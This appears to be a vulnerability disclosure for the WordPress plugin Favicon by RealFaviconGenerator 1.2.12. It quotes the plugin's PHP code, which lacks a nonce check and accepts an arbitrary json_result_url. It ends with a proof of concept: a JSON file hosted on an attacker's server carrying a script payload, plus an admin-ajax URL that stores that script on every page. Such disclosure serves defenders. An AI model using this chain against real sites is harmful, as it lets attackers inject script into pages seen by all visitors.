Favicon by RealFaviconGenerator 1.2.12 XSS

Homepage:

https://wordpress.org/plugins/favicon-by-realfavicongenerator/

CVSS Score

3.5

CVSS Vector

(AV:N/AC:M/Au:S/C:P/I:N/A:N)

Description:

Nonce token is not checked inside install_new_favicon() function.

We can parse json file from every server because of $_REQUEST['json_result_url'].

XSS will be stored as OPTION_HTML_CODE which is displayed on every page.

File: favicon-by-realfavicongenerator\admin\class-favicon-by-realfavicongenerator-admin.php

add_action('wp_ajax_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon',
	array( $this, 'install_new_favicon' ) );
add_action('wp_ajax_nopriv_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon',
	array( $this, 'install_new_favicon' ) );

public function install_new_favicon() {
	header("Content-type: application/json");

	try {
		// URL is explicitely decoded to compensate the extra encoding performed while generating the settings page
		$url = $_REQUEST['json_result_url'];

		$result = $this->download_result_json( $url );

		$response = new Favicon_By_RealFaviconGenerator_Api_Response( $result );

		$zip_path = Favicon_By_RealFaviconGenerator_Common::get_tmp_dir();
		if ( ! file_exists( $zip_path ) ) {
			mkdir( $zip_path, 0755, true );
		}
		$response->downloadAndUnpack( $zip_path );

		$this->store_pictures( $response );

		$this->store_preview( $response->getPreviewPath() );

		Favicon_By_RealFaviconGenerator_Common::remove_directory( $zip_path );

		update_option( Favicon_By_RealFaviconGenerator_Common::OPTION_HTML_CODE, $response->getHtmlCode() );
		
		$this->set_favicon_configured( true, $response->isFilesInRoot(), $response->getVersion() );
?>
{
"status": "success",
"preview_url": <?php echo json_encode( $this->get_preview_url() ) ?>,
"favicon_in_root": <?php echo json_encode( $this->is_favicon_in_root() ) ?>
}
<?php
	}
	catch(Exception $e) {
?>
{
"status": "error",
"message": <?php echo json_encode( $e->getMessage() ) ?>
}
<?php
	}

	die();
}

File: favicon-by-realfavicongenerator\public\class-favicon-by-realfavicongenerator-common.php

add_action( 'admin_head', array( $this, 'add_favicon_markups' ) );
public function add_favicon_markups() {
	$code = get_option( Favicon_By_RealFaviconGenerator_Common::OPTION_HTML_CODE );
	if ( $code ) {
		echo $code;
	}
}

Proof of Concept:

Store payload on your server:

{"favicon_generation_result":{"favicon":{"html_code":"<script>alert(1);<\/script>","package_url":"http:\/\/example.com","compression":"true"},"preview_picture_url":"http:\/\/example.com","files_location":{"type":"root","path":"path"},"result":{"status":"success"}}}

Then admin must visit url:

http://wordpress-url/wp-admin/admin-ajax.php?action=fbrfg_install_new_favicon&json_result_url=http://your_server/your_file

XSS will be visible for everyone on every page.

Timeline: